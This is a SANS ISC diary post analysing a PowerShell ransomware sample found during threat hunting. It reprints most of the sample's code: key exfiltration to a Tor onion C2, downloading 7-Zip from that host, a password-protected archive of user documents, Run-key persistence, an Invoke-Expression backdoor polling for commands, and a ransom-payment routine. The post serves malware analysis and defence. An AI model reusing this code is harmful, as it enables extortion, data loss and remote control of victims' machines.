Simple Powershell Ransomware Creating a 7Z Archive of your Files

Published: 2021-04-08
Last Updated: 2021-04-08 07:35:36 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

If some ransomware families are based on PE files with complex features, it's easy to write quick-and-dirty ransomware in other languages like Powershell. I found this sample while hunting. I'm pretty confident that this script is a proof-of-concept or still under development because it does not contain all the required components and includes some debugging information.

The file has been submitted on VT (SHA256:aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4)[1] and has a very nice score of 0/58! Let's have a look at it.

The script starts by generating some host-based data: a UUID and a random password:

function getUUID
{
    $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
    $UUID = $raw.split('-')[4];
    return $UUID;
}

function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};
    
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 
}

The ransomware communicates through TOR for C2 communications. I noticed that the TOR client was not included in this PowerShell script, maybe in a second script?

Note: TOR is expected to be launched from a ".home" directory:

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .home\Tor\tor.exe;

The C2 server is located at this Onion address: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

The ransomware sends the generated UUID and password to the C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;

The expected reply is a simple "OK" that will trigger the file encryption process. The list of targeted file extensions is quite small and the search path is restricted to the user's home directory.

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split '\r';
    return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

The way files are encrypted is an interesting approach. Instead of encrypting all files one by one, it creates a big 7Z encrypted archive containing all targeted files.

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    
    $7zdll = '"'+$tmp+'\7z.dll"';
    $7zexe = '"'+$tmp+'\7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Once the files archived, scripts are dumped on the filesystem:

function setup
{
    $tmp = $env:TEMP;
    $usr = $env:USERPROFILE;

    $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
    $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
    
    $10d2d = $tmp +'\10d2d\10d2d.ps1';
    $10d2e = $usr +'\Desktop\10d2e.ps1';

    New-Item -ItemType Directory -Force -Path $tmp'\10d2d';
    Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
    Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
    Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1';
}

The first script ("10d2d.ps1") implements persistence:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP\10d2d; powershell -ep bypass .\10d2d.ps1';
New-ItemProperty -Path HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name 1s0tda2rdt -Value $onStart -Force;

Then it implements a backdoor waiting for commands from the C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
    cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
    $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split '\n';   
    if(($jobCall[0] -replace ' ', '') -eq $UUID)
    {
        cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
        try
        {
            $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace '\r\n', '\r\n';
        }
        catch
        {
            $returnCont = $_ -replace '\r\n', '\r\n';
        }
        $curPath = (cmd /c cd | Out-String) -replace '\r\n', '\r\n';
        $returnCont = ('From UUID - {0} {1}\r\n{2}\r\n' -f $UUID, ('_'*75), $curPath) + $returnCont;

        cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
    }

    Start-Sleep -Seconds 5;
}

The second script ("10d2e.ps1") contains the code to take the user by hand to pay the ransom (which is not very expensive: $20):

function pay($UUID)
{
    $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
    $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
    $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
    $get2 = Read-Host($get2);

    $msg4 = 'Loading again...'; $msg4;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
    $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

    if($result[0] -ieq 'C')
    {
        $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
        Set-Content -Path $env:USERPROFILE\Desktop\passc0de.txt -Value $result;
    }

}

Interaction with the victim looks like this:

Note that this second script must be invoked by the user as stated in the notification:

 

What to think about this script? It is very simple but does the job to annoy the victim. Is it a proof-of-concept? I don't know...

[1] https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/strings

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Thursday, April 8th, 2021 https://isc.sans.edu/podcastdetail.html?id=7448

Comments


Diary Archives